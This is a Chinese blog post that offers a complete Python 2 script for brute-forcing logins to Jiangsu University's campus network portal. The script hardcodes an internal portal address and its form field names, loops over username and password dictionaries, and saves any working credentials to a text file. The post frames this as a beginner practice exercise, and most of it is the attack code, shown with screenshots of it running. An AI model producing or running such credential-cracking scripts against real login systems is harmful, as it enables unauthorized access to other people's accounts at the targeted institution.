基于Python的江苏大学校园网暴力破解

Python是近几年比较流行的解释型语言。Python是纯粹的自由软件,源代码和解释器CPython遵循GPL的协议。最近有在学习Python,作为Python的入门的新手拿学校的校园网登陆练练手。

总体的设计思路:

1.模拟浏览器的器打开登陆网页

2.构造登陆表单

表单选项:用户名 "DDDDD",密码"upass",空选项“0KKey”

3.构造字典,字典构造工具比较多,大家可以自行选择

4.依据字典尝试登陆,对返回值进行判断

4如果登陆成功,则.将正确的用户名和密码存入文件

一下是源码部分:

__author__ = 'qianqiangV'
#coding:utf-8
import sys
import os
import urllib2
import urllib
import getopt
def get_opt():
	user=''
	password=''
	try:
		opts,args=getopt.getopt(sys.argv[1:],"hu:p:")
		for opt,value in opts:
			if opt=="-u":
				if value!=None:
					user=value
			elif opt=="-p":
				if value!=None:
					password=value
		return [user,password]
	except getopt.GetoptError:
		print 'error'
def crack_login(user,password):
	url='http://192.168.100.83/0.htm'
	header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}
	form={'DDDDD':user,'upass':password,'0MKKey':''}
	form2=urllib.urlencode(form)
	request=urllib2.Request(headers=header,url=url,data=form2)
	response=urllib2.urlopen(request)
	html=response.read()
	return html.find('Msg')<0
def crack(user_file,pass_file):
	wuser_pass=open('user_pass.txt','w')
	if user_file.find('.txt')>0:
		try:
			userfile=open(user_file,'r')
		except IOError,e:
			print 'IOerror',e
		else:
			for eachuser in userfile:
				eachuser=eachuser.strip()
				print 'try'+' '+eachuser+' '+pass_file
				if crack_login(eachuser,pass_file):
					wuser_pass.writelines(eachuser+' '+pass_file+os.linesep)
				if pass_file.find('.txt')>0:
					try:
						passfile=open(pass_file,'r')
					except IOError,e:
						print 'IOError',e
					else:
						for eachpass in passfile:
							eachpass=eachpass.strip()
							print 'try'+' '+eachuser+' '+eachpass
							if crack_login(eachuser,eachpass):
								wuser_pass.writelines(eachuser+' '+eachpass+os.linesep)
						passfile.close()
			userfile.close()
	else:
		print 'try'+' '+user_file+' '+pass_file
		if crack_login(user_file,pass_file):
			wuser_pass.writelines(user_file+' '+pass_file+os.linesep)
		if pass_file.find('.txt')>0:
					try:
						passfile=open(pass_file,'r')
					except IOError,e:
						print 'IOError',e
					else:
						for eachpass in passfile:
							eachpass=eachpass.strip()
							print 'try'+' '+user_file+' '+eachpass.strip()
							if crack_login(user_file,eachpass):
								wuser_pass.writelines(user_file+' '+eachpass+os.linesep)
						passfile.close()
def main():
	user_pass=get_opt()
	print user_pass[0],user_pass[1]
	crack(user_pass[0],user_pass[1])
main()

运行程序:

基于Python的江苏大学校园网暴力破解_第1张图片


用户字典:user.txt

密码字典:pass.txt

-u:选项后面可以跟用户名或者用户字典

-p:选项后面可以跟密码或者密码字典

程序会将传入的参数都进行尝试

用户字典:

基于Python的江苏大学校园网暴力破解_第2张图片

密码字典:基于Python的江苏大学校园网暴力破解_第3张图片

在用户字典和密码字典放入了一个正确的用户名和密码

运行中:

基于Python的江苏大学校园网暴力破解_第4张图片

运行结果:将正确的用户名和密码写入到.txt中

基于Python的江苏大学校园网暴力破解_第5张图片

暴力破解的相关原理,可以查看我在前面一片文章写的关于hydra的使用

你可能感兴趣的:(信息安全)